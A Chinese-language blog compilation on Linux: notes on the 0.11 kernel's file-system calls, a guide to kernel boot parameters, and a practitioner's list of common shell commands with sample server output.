第三类打开时主要调用open_namei返回一个文件名对应的i结点,并设置系统打开文件表和进程打开文件表。返回文件句柄。关闭则清进程打开文件表项,处理对应的系统打开文件表项(引用减1),写回i结点。

execv.c:主要一个函数do_execve.往往在系统执行完fork之后会调用execve簇函数去执行一个全新的程序。必须重新对进程空间进行初始化。
主要流程:找到执行程序inode,进行相应判断(如如权限等),读文件头(第1个数据块)信息。
如果是脚本文件,则取shell文件名和参数,以shell为执行程序去执行该脚本文件,这时重新以shell为文件名,以本脚本文件为参数,执行上述过程。
根据文件头信息得到文件各段长度,entry位置,修改进程任务结构中相应的数据。然后拷贝参数到进程空间末端,设置堆栈指针。
清空原进程空间占用的页目录和页表。 修改系统调用返回地址为进程空间的起始地址。
该系统调用返回后,新进程执行第一条语句,会引起一个缺页中断。根据要求的线性地址和executable,在中断中执行do_no_page进行共享或者需求加载。

stat.c : 系统调用sys_stat,sys_fstat.取文件状态信息。

fcntl.c: 实现sys_dup,sys_dup2,sys_fcntl. 
dup复制到从0开始找最小的空闲句柄。
dup2指定开始搜索的最小句柄。
fcntl主要根据flag参数不同。可以实现四方面的操作:复制文件句柄同dup,设/取close_on_exec标志。设/取文件状态和访问模式。给文件上/解锁。

ioctl.c:主要实现系统调用sys_ioctl,间接调用tty_ioctl.主要对终端设备进行命令控制、参数设置、状态读取等。

 

结束.

看这本书的剖析的linux代码之前觉得LINUX很神秘,现在觉得亲切多了。心里面对内核的动作已经有了比较清晰的概念。但是还远远不足以运用到嵌入式中去,最新的内核与0.11相比,我觉得好像自己还是啥也不知道一样,差得太多,显得很陌生。下一步必须看看2.6版本的内核分析一类的书籍,了解最新的内核。


Linux内核在启动的时候,能接收某些命令行选项或启动时参数。当内核不能识别某些硬件进而不能设置硬件参数或者为了避免内核更改某些参数的值,可以通过这种方式手动将这些参数传递给内核。

如果不使用启动管理器,比如直接从BIOS或者把内核文件用“cp zImage /dev/fd0”等方法直接从设备启动,就不能给内核传递参数或选项--这也许是我们使用引导管理器比如LILO的好处之一吧。

Linux的内核参数是以空格分开一个字符串列表,通常具有如下形式:

name[=value_1][,value_2]...[,value_10]

“name”是关键字,内核用它来识别应该把“关键字”后面的值传递给谁,也就是如何处理这个值,是传递给处理例程还是作为环境变量或者抛给“init”。值的个数限制为10,你可以通过再次使用该关键字使用超过10个的参数。

首先,内核检查关键字是不是 `root='',`nfsroot='', `nfsaddrs='', `ro'', `rw'', `debug''或 `init'',然后内核在bootsetups数组里搜索于该关键字相关联的已注册的处理函数,如果找到相关的已注册的处理函数,则调用这些函数并把关键字后面的值作为参数传递给这些函数。比如你在启动时设置参数name=a,b,c,d,内核搜索bootsetups数组,如果发现“name”已注册,则调用“name”的设置函数如name_setup(),并把a,b,c,d传递给name_setup()执行。

所有型如“name=value”参数,如果没有被上面所述的设置函数接收,将被解释为系统启动后的环境变量,比如“TERM=vt100”就会被作为一个启动时参数。

所有没有被内核设置函数接收也没又被设置成环境变量的参数都将留给init进程处理,比如“single”。

常用的设备无关启动时参数。

1、init=...

设置内核执行的初始化进程名,如果该项没有设置,内核会按顺序尝试/etc/init,

/bin/init,/sbin/init, /bin/sh,如果所有的都没找到,内核会抛出 kernel panic:的错误。

2、nfsaddrs=...

设置从网络启动时NFS的启动地址,已字符串的形式给出。

3、nfsroot=...

设置网络启动时的NFS根名字,如果该字符串不是以 "/"、","、"."开始,默认指向“/tftp-boot”。

以上2、3在无盘站中很有用处。

4、no387

该选项仅当定义了CONFIG_BUGi386时才能用,某些i387协处理器芯片使用32位的保护模式时会有BUG,比如一些浮点运算,使用这个参数可以让内核忽略387协处理器。

5、no-hlt

该选项仅当定义了CONFIG_BUGi386时才能用,一些早期的i486DX-100芯片在处理“hlt”指令时会有问题,执行该指令后不能可靠的返回操作系统,使用该选项,可以让Linux系统在CPU空闲的时候不要挂起CPU。

6、root=...

该参数告诉内核启动时使用哪个设备作为根文件系统。比如可以指定根文件为hda8:root=/dev/hda8。

7、ro和rw

ro参数告诉内核以只读方式加载根文件系统,以便进行文件系统完整性检查,比如运行fsck;rw参数告诉内核以读写方式加载根文件系统,这是默认值。

8、reserve=...

保留端口号。格式:reserve=iobase,extent[,iobase,extent]...,用来保护一定区域的I/O端口不被设备驱动程序自动探测。在某些机器上,自动探测会失败,或者设备探测错误或者不想让内核初始化设备时会用到该参数;比如: reserve=0x300,32 device=0x300,除device=0x300外所有设备驱动不探测 0x300-0x31f范围的I/O端口。

9、mem=...

限制内核使用的内存数量。早期BIOS设计为只能识别64M以下的内存,如果你的内存数量大于64M,你可以指明,如果你指明的数量超过了实际安装的内存数量,系统崩溃是迟早的事情。如:mem=0x1000000意味着有16M内存,如果是mem=0x6000000,就是96M内存了。

注意:很多机型把部分内存作为BIOS的映射,所以你在指定内存大小的时候一定要预留空间。你也可以在 pentium或者更新的CPU上使用mem=nopentium关闭4M的页表,这要在内核配置时申明。

10、panic=N

默认情况,内核崩溃--kernel panic 后会宕机而不会重启,你可以设置宕机多少秒之后重启机器;也可以在/proc/sys/kernel/panic文件里设置。

11、reboot=[warm|cold][,[bios|hard]]

该选项仅当定义了CONFIG_BUGi386时才能用。2.0.22的内核重启默认为cool reboot,warm reboot 更快,使用"reboot=bios"可以继承bios的设置。

12、nosmp 和 maxcpus=N

仅当定义了 __SMP__,该选项才可用。可以用来禁用多CPU或者指明最多支持的CPU个数。

内核开发和调试的启动时参数

这些参数主要用在内核的开发和调试上,如果你不进行类似的工作,你可以简单的跳过本小节。

1、debug

Linux的日志级别比较多(详细信息可以参看Linux/kernel.h),一般地,日志的守护进程klogd只把比DEBUG级别高的日志写进磁盘;如果使用该选项,klogd也把内核的DEBUG信息写进日志。

2、profile=N

在做内核开发的时候,如果想清楚的知道内核在什么地方耗用了多少CPU的时钟周期,可以使用核心的分析函数设置变量prof_shift为非0值,有两种方式可以实现:一种是在编译时指定,另一种就是通过“profile=”来指定; 他给出了一个相当于最小单位--即时钟周期;系统在执行内核代码的时候, profile[address >;>; prof_shift]的值就会累加,你也可以从 /proc/profile得到关于它的一些信息。

3、swap=N1,N2,N3,N4,N5,N6,N7,N8

设置内核交换算法的八个参数:max_page_age, page_advance, page_decline,page_initial_age, age_cluster_fract, age_cluster_min, pageout_weight,bufferout_weight。

4、buff=N1,N2,N3,N4,N5,N6

设置内核缓冲内存管理的六个参数:max_buff_age, buff_advance, buff_decline,buff_initial_age, bufferout_weight, buffermem_grace。

使用 RAMDISK的参数

(仅当内核配置并编译了 CONFIG_BLK_DEV_RAM)。一般的来说,使用ramdisk并不是一件好事,系统自己会更加有效的使用可用的内存;但是,在启动或者制作启动盘时,使用ramdisk可以很方便的装载软盘等设备上的映象(尤其是安装程序、启动过程中),因为在正真使用物理磁盘之前,必须要加载一些必要的模块,比如文件系统模块,scsi驱动等(可以参见我的initrd-x.x.x.img文件分析-制作安装程序不支持的根文件系统)。

早期的ramdisk(比如1.3.48的核心)是静态分配的,必须以ramdisk=N来指定ramdisk的大小;现在ramdisk可以动态增加。一共有四个参数,两个布尔型,两个整形。

1、load_ramdisk=N

如果N=1,就加载ramdisk;如果N=0,就不加载ramdisk;默认值为0。

2、prompt_ramdisk=N

N=1,提示插入软盘;N=0,不提示插入软盘;默认为1。

3、ramdisk_size=N或者ramdisk=N

设定ramdisk的最大值为N KB,默认为4096KB。

4、ramdisk_start=N

设置ramdisk的开始块号为N,当ramdisk有内核的映象文件是需要这个参数。

5、noinitrd

(仅当内核配置了选项 CONFIG_BLK_DEV_RAM和CONFIG_BLK_DEV_INITRD)现在的内核都可以支持initrd了,引导进程首先装载内核和一个初始化的ramdisk,然后内核将initrd转换成普通的ramdisk,也就是读写模式的根文件系统设备。然后Linuxrc执行,然后装载真正的根文件系统,之后ramdisk被卸载,最后执行启动序列,比如/sbin/init。

选项noinitrd告诉内核不执行上面的步骤,即使内核编译了initrd,而是把initrd的数据写到 /dev/initrd,只是这是一个一次性的设备。

分类: Linux

2017-06-05 21:23:08 u010739551 阅读数 476

大家都知道,Linux系统提供了非常多非常多的命令或工具,这些命令都各有所长,都是系统需要的。但我们精力有限,要掌握全部的命令不太现实,所以只需要掌握其中部分常用的命令即可。这里,我就从一个Java程序员的角度,总结出我常用的一些Linxu命令,供大家参考。

文件目录基本操作

  • ls 命令用来显示目标列表,在Linux中是使用率较高的命令。ls命令的输出信息可以进行彩色加亮显示,以分区不同类型的文件。
    常用选项:
    ls(选项)(参数)
    -a 显示所有档案及目录(ls默认不会列出隐藏文件);
    -l 所有输出信息用单列格式输出,不输出为多列;
    --color[=WHEN]:使用不同的颜色高亮显示不同类型的。
    实际应用时,我经常会使用ls -l --color=auto,并给它指定一个别名ll:
    alias ll='ls -l --color=auto'
    效果如图1:

    图1
  • cd 用来切换工作目录至dirname。 其中dirname表示法可为绝对路径或相对路径。若目录名称省略,则变换至使用者的home directory。
    常用选项:
    cd   进入用户主目录
    cd ~ 进入用户主目录
    cd - 返回进入此目录之前所在的目录
    cd .. 返回上级目录(若当前目录为“/“,则执行完后还在“/";".."为上级目录的意思)
    cd ../.. 返回上两级目录
    cd !$ 把上个命令的参数作为cd参数使用
  • mkdir 创建目录。该命令创建由dirname命名的目录。如果在目录名的前面没有加任何路径名,则在当前目录下创建由dirname指定的目录;如果给出了一个已经存在的路径,将会在该目录下创建一个指定的目录。
    常用选项:
    -p 若所要建立目录的上层目录目前尚未建立,则会一并建立上层目录
  • rm 删除一个目录中的一个或多个文件或目录,也可以将某个目录及其下属的所有文件及其子目录均删除掉。对于链接文件,只是删除整个链接文件,而原有文件保持不变。
    常用选项:
    -f:强制删除文件或目录
    -i:删除已有文件或目录之前先询问用户
    -r或-R:递归处理,将指定目录下的所有文件与子目录一并处理
    注意:使用rm命令要格外小心。因为一旦删除了一个文件,就无法再恢复它。
  • cp 将一个或多个源文件或者目录复制到指定的目的文件或目录。
    常用选项:
    -f:强行复制文件或目录,不论目标文件或目录是否已存在
    -i:覆盖既有文件之前先询问用户
    -R/r:递归处理,将指定目录下的所有文件与子目录一并处理
    示例:
    cp /home/sre/tom.log .   将文件/home/sre/tom.log复制到当前目录
    cp -r katarina  /home/sre/logs/ 将目录katarina复制到/home/sre/logs/目录下
  • mv 对文件或目录重新命名,或者将文件从一个目录移到另一个目录中。source表示源文件或目录,target表示目标文件或目录。如果将一个文件移到一个已经存在的目标文件中,则目标文件的内容将被覆盖。
    常用选项:
    -f:若目标文件或目录与现有的文件或目录重复,则直接覆盖现有的文件或目录
    -u:当源文件比目标文件新或者目标文件不存在时,才执行移动操作
    示例:
    mv katarina/* logs/ 将目录katarina下所有文件复制到目录logs下
  • pwd 以绝对路径的方式显示用户当前工作目录
    如图2:

    图2
  • tree 以树状图列出目录的内容
    如图3

    图3
  • touch 两个功能:一是创建新的空文件;二是用于把已存在文件的时间标签更新为系统当前的时间(默认方式),它们的数据将原封不动地保留下来。
    示例:
    touch /var/wd/logs/touch.txt 创建空文件/var/wd/logs/touch.txt
  • chmod 变更文件或目录的权限。在UNIX系统家族里,文件或目录权限的控制分别以读取、写入、执行3种一般权限来区分,另有3种特殊权限可供运用。用户可以使用chmod指令去变更文件与目录的权限,设置方式采用文字或数字代号皆可。
    示例:
    chmod +x what_cpu_do.sh 给脚本what_cpu_do.sh增加可执行权限
    chmod u+x,g+w test  //为文件test设置自己可以执行,组员可以写入的权限
  • file 探测给定文件的类型。
    示例:
    [sre@CDVM-213017031 ~]$ file what_cpu_do.sh
    what_cpu_do.sh: Bourne-Again shell script text executable
    [sre@CDVM-213017031 ~]$ file logs
    logs: directory
    [sre@CDVM-213017031 ~]$ file network_last.log
    network_last.log: empty
    [sre@CDVM-213017031 ~]$ file fix
    fix: directory

    文件内容查看

  • cat 连接文件并打印到标准输出设备上,cat经常用来显示文件的内容。
    示例:
    [sre@CDVM-213017031 ~]$ cat flow_of_network.sh | grep "RX_next"
    RX_next=$(cat /proc/net/dev | grep $ethn | sed 's/:/ /g' | awk '{print $2}')
    RX=$((${RX_next}-${RX_pre}))
  • grep 是一种强大的文本搜索工具,它能使用正则表达式搜索文本,并把匹配的行打印出来。
    常用选项:
    -A<显示列数> (After)除了显示符合范本样式的那一行之外,并显示该行之后的内容
    -B (Before)在显示符合范本样式的那一行之外,并显示该行之前的内容
    -C<显示列数> 除了显示符合范本样式的那一列之外,并显示该列之前后的内容
    -i 忽略字符大小写。
    示例:
[sre@CDVM-213017031 ~]$ cat what_cpu_do.sh | grep "process of" -A 5 -B 5 (等效于 cat what_cpu_do.sh | grep "jstack" -C 5 )
 echo "checking pid($pid)"
fi

if test -z "$(jps -l | cut -d '' -f 1 | grep $pid)"
then
 echo "process of $pid is not exists"
 exit
fi

lineNum=$2
if test -z $lineNum
  • tail 输出文件中的尾部内容,默认在屏幕上显示指定文件的末尾10行。
    常用选项:
    -f:显示文件最新追加的内容(查看服务器上动态刷新的日志时经常使用)。
    -n:输出文件的尾部NN位数字)行内容
    示例:
    tail -100f /var/wd/logs/owl/owl.20170508.log 显示文件/var/wd/logs/owl/owl.20170508.log中的后100行,并且当文件有更新显示最新的内容。
  • head 显示文件的开头的内容。在默认情况下,head命令显示文件的头10行内容。
    常用选项:
    -n<数字>:指定显示头部内容的行数
    -c<字符数>:指定显示头部内容的字符数
    -v:总是显示文件名的头信息
    -q:不显示文件名的头信息
  • more 一个基于vi编辑器文本过滤器,它以全屏幕的方式按页显示文本文件的内容,支持vi中的关键字定位操作。more名单中内置了若干快捷键,常用的有H(获得帮助信息),Enter(向下翻滚一行),空格(向下滚动一屏),Q(退出命令)。
    常用选项:
    Space键:显示文本的下一屏内容
    Enter键:只显示文本的下一行内容
    斜线符/:接着输入一个模式,可以在文本中寻找下一个相匹配的模式
    h键:显示帮助屏,该屏上有相关的帮助信息
    b键:显示上一屏内容
    q键:退出rnore命令
  • less 与more十分相似,都可以用来浏览文字档案的内容,不同的是less命令允许用户向前或向后浏览文件,而more命令只能向前浏览。用less命令显示文件时,用PageUp键向上翻页,用PageDown键向下翻页。要退出less程序,应按q键。

  • wc 用来计算数字。利用wc指令我们可以计算文件的Byte数、字数或是列数。
    常用选项:

    -c:只显示Bytes数
    -l:只显示列数
    -w:只显示字数
  • tr 对来自标准输入的字符进行替换、压缩和删除。它可以将一组字符变成另一组字符,经常用来编写优美的单行命令,作用很强大。
    常用选项:
    -c:取代所有不属于第一字符集的字符
    -d:删除所有属于第一字符集的字符
    -s:把连续重复的字符以单独一个字符表示
    示例:
    echo "HELLO WORLD" | tr 'A-Z' 'a-z' hello world  将输入字符由大写转换为小写
    hello world
    echo "hello 123 world 456" | tr -d '0-9' hello world 使用tr删除字符
    hello world
  • sort 将文件进行排序,并将排序结果标准输出。它可以从特定的文件,也可以从stdin中获取输入。
    常用选项:
    -d:排序时,处理英文字母、数字及空格字符外,忽略其他的字符
    -f:排序时,将小写字母视为大写字母
    -k:  来指定列数
    -r:以相反的顺序来排序来自
    示例:
    [sre@CDVM-213017031 ~]$ ps -mp 25211 -o THREAD,tid,time | sort -r -k 2
    USER     %CPU PRI SCNT WCHAN  USER SYSTEM   TID     TIME
    sre       8.8   -    - -         -      -     - 4-04:00:56
    sre       5.4  19    - futex_    -      - 25485 2-13:59:26
    sre       0.8  19    - futex_    -      - 16755 00:00:24
    sre       0.1  19    - ep_pol    -      - 25663 01:31:00
    sre       0.1  19    - ep_pol    -      - 25487 01:38:57
    sre       0.1  19    - ep_pol    -      - 25486 01:38:52
    sre       0.0  19    - skb_re    -      - 24586 00:00:00
    sre       0.0  19    - poll_s    -      - 25678 00:44:56
    sre       0.0  19    - poll_s    -      - 25676 00:00:00
    sre       0.0  19    - poll_s    -      - 25213 00:00:01
    sre       0.0  19    - futex_    -      -  7679 00:00:00
    sre       0.0  19    - futex_    -      -  5952 00:00:00
    上述命令功能:查看进程(pid为25211)占用CPU资源最多的线程信息(根据CPU占用率倒序排列)。

文件查找与比较

  • find 在指定目录下查找文件。任何位于参数之前的字符串都将被视为欲查找的目录名。如果使用该命令时,不设置任何参数,则find命令将在当前目录下查找子目录与文件。并且将查找到的子目录和文件全部进行显示。
    示例:

    find /home -name "*.txt"  在/home目录下查找以.txt结尾的文件名
    find /home -iname "*.txt" 同上,但忽略大小写
    find /home ! -name "*.txt"  找出/home下不是以.txt结尾的文件
  • which 查找并显示给定命令的绝对路径,环境变量PATH中保存了查找命令时需要遍历的目录。which指令会在环境变量$PATH设置的目录里查找符合条件的文件。也就是说,使用which命令,就可以看到某个系统命令是否存在,以及执行的到底是哪一个位置的命令。
    示例:

    [sre@CDVM-213017031 ~]$ which java
    /usr/java/default/bin/java
    [sre@CDVM-213017031 ~]$ which pwd
    /bin/pwd
    [sre@CDVM-213017031 ~]$ which python
    /usr/bin/python
  • whereis 用来定位指令的二进制程序、源代码文件和man手册页等相关文件的路径。
    和find相比,whereis查找的速度非常快,这是因为linux系统会将 系统内的所有文件都记录在一个数据库文件中,当使用whereis和下面即将介绍的locate时,会从数据库中查找数据,而不是像find命令那样,通 过遍历硬盘来查找,效率自然会很高。
    示例:
    [sre@CDVM-213017031 ~]$ whereis python
    python: /usr/bin/python /usr/bin/python2.6 /usr/lib/python2.6 /usr/lib64/python2.6 /usr/include/python2.6 /usr/share/man/man1/python.1.gz
    [sre@CDVM-213017031 ~]$ whereis lua
    lua: /usr/bin/lua /usr/lib64/lua /usr/share/lua /usr/share/man/man1/lua.1.gz
    [sre@CDVM-213017031 ~]$ whereis java
    java: /usr/bin/java
  • locate locate命令其实是find -name的另一种写法,但是要比后者快得多,原因在于它不搜索具体目录,而是搜索一个数据库/var/lib/locatedb,这个数据库中含有本地所有文件信息。Linux系统自动创建这个数据库,并且自动更新,由于更新非实时,所以使用locate命令查不到最新变动过的文件。为了避免这种情况,可以在使用locate之前,先使用updatedb命令,手动更新数据库。
    示例:
    locate /etc/sh  搜索etc目录下所有以sh开头的文件
    locate -i ~/m 搜索用户主目录下,所有以m开头的文件,并且忽略大小写

文件压缩与解压

  • tar tar命令可以为linux的文件和目录创建档案。
    常用选项:
    -c:建立新的备份文件
    -z:通过gzip指令处理备份文件
    -v:显示指令执行过程
    -f:指定备份文件
    -x:从备份文件中还原文件
    示例:
    tar -cvf log.tar log2012.log 仅打包,不压缩!
    tar -zcvf log.tar.gz log2012.log 打包后,以 gzip 压缩 
    tar -jcvf log.tar.bz2 log2012.log 打包后,以 bzip2 压缩
  • zip 可以用来解压缩文件,或者对文件进行打包操作。

  • unzip 加压缩.zip包,不在详述。
    另外,关于压缩、解压缩命令还有gzip、gunzip、bzip2、bunzip2等,读者如果感兴趣,可自行搜索了解。

进程管理

  • ps 用于报告当前系统的进程状态,是最基本同时也是非常强大的进程查看命令,使用该命令可以确定有哪些进程正在运行和运行的状态、进程是否结束、进程有没有僵死、哪些进程占用了过多的资源等等,总之大部分信息都是可以通过执行该命令得到的。
    由于ps命令能够支持的系统类型相当的多,所以选项多的离谱!我主要使用:
    [sre@CDVM-213017031 ~]$ ps aux | grep "sudo"
    sre       9524  0.0  0.0 103252   832 pts/1    S+   16:16   0:00 grep sudo
    root     19503  0.0  0.0 189992  2996 pts/1    S    13:37   0:00 sudo su - sre
    root     22710  0.0  0.0 189992  3000 pts/0    S    11:42   0:00 sudo su - sre
    以及上文提到的:
    ps -mp 25211 -o THREAD,tid,time | sort -r -k 2
  • kill 命令用来删除执行中的程序或工作。kill可将指定的信息送至程序。预设的信息为SIGTERM(15),可将指定程序终止。若仍无法终止该程序,可使用SIGKILL(9)信息尝试强制删除程序。程序或工作的编号可利用ps指令或job指令查看。
    常用选项:

    kill -9 强制终止进程
    kill -15 正常终止进程

    具有相似功能的命令,还有killall、pkill等。

  • watch 以周期性的方式执行给定的指令,指令输出以全屏方式显示。
    常用选项:

    -n:指定指令执行的间隔时间(秒)
    -d:高亮显示指令输出信息不同之处
    -t:不显示标题。

    示例:

watch ss
Every 2.0s: ssMon May  8 16:23:58 2017

State       Recv-Q Send-Q      Local Address:Port          Peer Address:Port
ESTAB       0      0         ::ffff:10.213.17.31:45473       ::ffff:10.213.18.49:10994
ESTAB       0      0         ::ffff:10.213.17.31:30046     ::ffff:10.209.19.143:10117
ESTAB       0      0         ::ffff:10.213.17.31:11233     ::ffff:10.209.26.154:10118
ESTAB       0      0         ::ffff:10.213.17.31:55524       ::ffff:10.209.33.69:eforward
ESTAB       0      0         ::ffff:10.213.17.31:56865       ::ffff:10.209.18.34:10218
ESTAB       0      0         ::ffff:10.213.17.31:25608     ::ffff:10.209.19.144:10117
ESTAB       0      0         ::ffff:10.213.17.31:19649       ::ffff:10.209.18.64:10620
  • service service命令是Redhat Linux兼容的发行版中用来控制系统服务的实用工具,它以启动、停止、重新启动和关闭系统服务,还可以显示所有系统服务的当前状态。
    服务名:自动要控制的服务名,即/etc/init.d目录下的脚本文件名
    示例:
    service mysqld status 
    mysqld (pid 1638) 正在运行... 
    service mysqld restart 
    停止 MySQL[ 确定 ] 
    启动 MySQL[ 确定 ]

    网络操作

  • curl curl命令是一个利用URL规则在命令行下工作的文件传输工具。它支持文件的上传和下载,所以是综合传输工具,但按传统,习惯称curl为下载工具。
  • wget wget命令用来从指定的URL下载文件。
    示例:
    wget http://www.yourserverip.net/testfile.zip 下载文件
  • ping 用来测试主机之间网络的连通性。
    [sre@CDVM-213017031 ~]$ ping www.wanda.cn
    PING www.wanda.cn (10.199.8.10) 56(84) bytes of data.
    64 bytes from 10.199.8.10: icmp_seq=1 ttl=244 time=50.8 ms
    64 bytes from 10.199.8.10: icmp_seq=2 ttl=244 time=51.8 ms
    64 bytes from 10.199.8.10: icmp_seq=3 ttl=244 time=51.0 ms
    64 bytes from 10.199.8.10: icmp_seq=4 ttl=244 time=53.3 ms
  • telnet 用于登录远程主机,对远程主机进行管理。我常用它来检测端口。
    示例:
    [sre@CDVM-213017031 ~]$ telnet 10.213.17.32 10000
    Trying 10.213.17.32...
    telnet: connect to address 10.213.17.32: Connection refused
    [sre@CDVM-213017031 ~]$ telnet 10.213.17.32 10062
    Trying 10.213.17.32...
    Connected to 10.213.17.32.
    Escape character is '^]'.
    ^C
    Connection closed by foreign host.
  • nslookup 常用域名查询工具,就是查DNS信息用的命令。
    示例:
[sre@CDVM-213017031 ~]$ nslookup www.baidu.com
Server:        10.209.11.13
Address:    10.209.11.13#53

Non-authoritative answer:
www.baidu.com    canonical name = www.a.shifen.com.
Name:    www.a.shifen.com
Address: 111.206.223.205
Name:    www.a.shifen.com
Address: 111.206.223.206
  • ss 用来显示处于活动状态的套接字信息。ss命令可以用来获取socket统计信息,它可以显示和netstat类似的内容。但ss的优势在于它能够显示更多更详细的有关TCP和连接状态的信息,而且比netstat更快速更高效。
    常用选项:
    -n:不解析服务名称,以数字方式显示
    -a:显示所有的套接字
    -l:显示处于监听状态的套接字
    -m:显示套接字的内存使用情况
    -p:显示使用套接字的进程信息
    -i:显示内部的TCP信息;
    -t:只显示tcp套接字
    -u:只显示udp套接字
    示例:
    [sre@CDVM-213017031 ~]$ ss -t
    State       Recv-Q Send-Q                                                        Local Address:Port                                                            Peer Address:Port
    ESTAB       0      0                                                       ::ffff:10.213.17.31:45473                                                    ::ffff:10.213.18.49:10994
    ESTAB       0      0                                                       ::ffff:10.213.17.31:14073                                                    ::ffff:10.209.18.33:10620
    ESTAB       0      0                                                       ::ffff:10.213.17.31:30046                                                   ::ffff:10.209.19.143:10117
    ESTAB       0      0                                                       ::ffff:10.213.17.31:11233                                                   ::ffff:10.209.26.154:10118
    ESTAB       0      0                                                       ::ffff:10.213.17.31:20347                                                    ::ffff:10.209.18.64:10620
    ESTAB       0      0                                                       ::ffff:10.213.17.31:41799                                                    ::ffff:10.209.18.34:10620
    ESTAB       0      0                                                       ::ffff:10.213.17.31:39386                                                    ::ffff:10.209.33.70:10434
    ESTAB       0      0                                                       ::ffff:10.213.17.31:55524                                                    ::ffff:10.209.33.69:eforward
    ESTAB       0      0                                                       ::ffff:10.213.17.31:56865                                                    ::ffff:10.209.18.34:10218
  • nc nc是netcat命令的简称,都是用来设置路由器。我常用它来上传文件到服务器,具体可参考 如何优雅的实现文件上传或下载

  • ifconfig 用于配置和显示Linux内核中网络接口的网络参数。用ifconfig命令配置的网卡信息,在网卡重启后机器重启后,配置就不存在。要想将上述的配置信息永远的存的电脑里,那就要修改网卡的配置文件了。
    示例:

[sre@CDVM-213017031 ~]$ ifconfig
eth0      Link encap:Ethernet  HWaddr FA:16:3E:7E:55:D1
          inet addr:10.213.17.31  Bcast:10.213.23.255  Mask:255.255.248.0
          inet6 addr: fe80::f816:3eff:fe7e:55d1/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:31875618113 errors:0 dropped:0 overruns:0 frame:0
          TX packets:28230970908 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:13949365053248 (12.6 TiB)  TX bytes:5198483437608 (4.7 TiB)

ifconfig eth0 down 关闭网卡eth0
ifconfig eht0 up 启动网卡eth0

系统管理

  • su 用于切换当前用户身份到其他用户身份,变更时须输入所要变更的用户帐号与密码。
  • sudo 以其他身份来执行命令,预设的身份为root。在/etc/sudoers中设置了可执行sudo指令的用户。
  • du 查看使用空间。
    常用选项:
    -a 显示目录中个别文件的大小
    -b 显示目录或文件大小时,以byte为单位
    -c 除了显示个别目录或文件的大小外,同时也显示所有目录或文件的总和
    -k 以KB(1024bytes)为单位输出
    -m 以MB为单位输出
    -s 仅显示总计,只列出最后加总的值
    -h 以K,M,G为单位,提高信息的可读性
    示例:
    [sre@CDVM-213017031 ~]$ du -h *
    4.0K    a.sh
    1.7G    catalina.out
    317M    collect_sample
    632K    fix/plugin
    372K    fix/boot
    8.0K    fix/script
    41G    fix/log
    6.1M    fix/lib

    性能监测与优化

  • top 可以实时动态地查看系统的整体运行情况,是一个综合了多方信息监测系统性能和运行信息的实用工具。通过top命令所提供的互动式界面,用热键可以管理。
    常用选项:

    -d:屏幕刷新间隔时间
    -u<用户名>:指定用户名
    -p<进程号>:指定进程
    -n<次数>:循环显示的次数

    交互命令:

    1:显示全部CPU信息
    k:终止一个进程
    i:忽略闲置和僵死进程,这是一个开关式命令
    q:退出程序
    o或者O:改变显示项目的顺序
    m:切换显示内存信息
    t:切换显示进程和CPU状态信息
    c:切换显示命令名称和完整命令行
    M:根据驻留内存大小进行排序
    P:根据CPU使用百分比大小进行排序
    T:根据时间/累计时间进行排序

    示例:

    top -p 25211
    top - 17:14:06 up 559 days,  4:54,  2 users,  load average: 0.06, 0.01, 0.00
    Tasks:   1 total,   0 running,   1 sleeping,   0 stopped,   0 zombie
    Cpu0  :  0.0%us,  0.3%sy,  0.0%ni, 99.7%id,  0.0%wa,  0.0%hi,  0.0%si,  0.0%st
    Cpu1  :  0.3%us,  0.3%sy,  0.0%ni, 99.3%id,  0.0%wa,  0.0%hi,  0.0%si,  0.0%st
    Cpu2  :  0.3%us,  0.3%sy,  0.0%ni, 99.3%id,  0.0%wa,  0.0%hi,  0.0%si,  0.0%st
    Cpu3  :  6.8%us,  3.4%sy,  0.0%ni, 89.8%id,  0.0%wa,  0.0%hi,  0.0%si,  0.0%st
    Mem:   4054588k total,  3916560k used,   138028k free,   114260k buffers
    Swap:        0k total,        0k used,        0k free,   730196k cached
    
    PID USER      PR  NI  VIRT  RES  SHR S %CPU %MEM    TIME+  COMMAND
    25211 sre       20   0 4624m 1.9g   9m S 12.7 49.7   6014:18 java

    上面是执行 top -p 25211后,单击“1”后的效果。

  • free 显示当前系统未使用的和已使用的内存数目,还可以显示被内核使用的内存缓冲区。
    常用选项:

    -b:以Byte为单位显示内存使用情况
    -k:以KB为单位显示内存使用情况
    -m:以MB为单位显示内存使用情况
    -t:显示内存总和列

    示例:

    [sre@CDVM-213017031 ~]$ free -m
               total       used       free     shared    buffers     cached
    Mem:          3959       3825        134          0        111        713
    -/+ buffers/cache:       3000        959
    Swap:            0          0          0
  • sar Linux下系统运行状态统计工具,它将指定的操作系统状态计数器显示到标准输出设备。sar工具将对系统当前的状态进行取样,然后通过计算数据和比例来表达系统的当前运行状态。它的特点是可以连续对系统取样,获得大量的取样数据。取样数据和分析的结果都可以存入文件,使用它时消耗的系统资源很小。我常用它查看网卡流量,具体请参考 Linux查看实时网卡流量的几种方式

  • lsof lsof命令用于查看你进程开打的文件,打开文件的进程,进程打开的端口(TCP、UDP)。
    常用选项:

    -a:列出打开文件存在的进程
    -c<进程名>:列出指定进程所打开的文件
    -p<进程号>:列出指定进程号所打开的文件

    示例:

    [sre@CDVM-213017031 ~]$ lsof | wc -l
    1278
    [sre@CDVM-213017031 ~]$ lsof | grep 10117 | wc -l
    9
    [sre@CDVM-213017031 ~]$ lsof | grep 10117
    java        402          sre  143u     IPv6         1879294557        0t0        TCP CDVM-213017031:63449->10.209.19.143:10117 (ESTABLISHED)
    java        402          sre  144u     IPv6         1879294563        0t0        TCP CDVM-213017031:63450->10.209.19.143:10117 (ESTABLISHED)
    java        402          sre  145u     IPv6         1879294564        0t0        TCP CDVM-213017031:25608->10.209.19.144:10117 (ESTABLISHED)
    java      11538          sre   43u     IPv6          720753145        0t0        TCP CDVM-213017031:30045->10.209.19.143:10117 (ESTABLISHED)
    java      11538          sre   44u     IPv6          720753147        0t0        TCP CDVM-213017031:30046->10.209.19.143:10117 (ESTABLISHED)
    java      11538          sre   45u     IPv6          720762177        0t0        TCP CDVM-213017031:47599->10.209.19.144:10117 (ESTABLISHED)
    java      25211          sre  267u     IPv6         1855869958        0t0        TCP CDVM-213017031:54013->10.209.19.143:10117 (ESTABLISHED)
    java      25211          sre  271u     IPv6         1855869959        0t0        TCP CDVM-213017031:16169->10.209.19.144:10117 (ESTABLISHED)
